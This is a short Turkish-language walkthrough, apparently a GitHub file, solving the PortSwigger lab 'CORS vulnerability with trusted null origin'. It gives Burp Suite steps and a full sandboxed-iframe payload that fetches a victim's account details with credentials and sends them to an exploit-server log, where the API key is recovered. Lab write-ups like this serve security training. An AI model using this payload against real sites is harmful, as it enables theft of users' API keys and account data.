-
Notifications
You must be signed in to change notification settings - Fork 0
/
2.txt
23 lines (17 loc) · 885 Bytes
/
2.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
LAB: CORS vulnerability with trusted null origin
1 - wiener:peter ile giriş yapın. Burp Suite -> Proxy > HTTP History -> /accountDetails -> Repeater
Aşağıdaki başlığını ekleyin.
Origin: null
2 - Cevap başlığında Access-Control-Allow-Origin göreceksiniz.
3 - Exploit servere giderek aşağıdaki payloadı kurbana gönderin.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
4 - Access log kısmında GET /log?key ile başlayan isteği URL DECODE ederek API_KEYi kaydedin.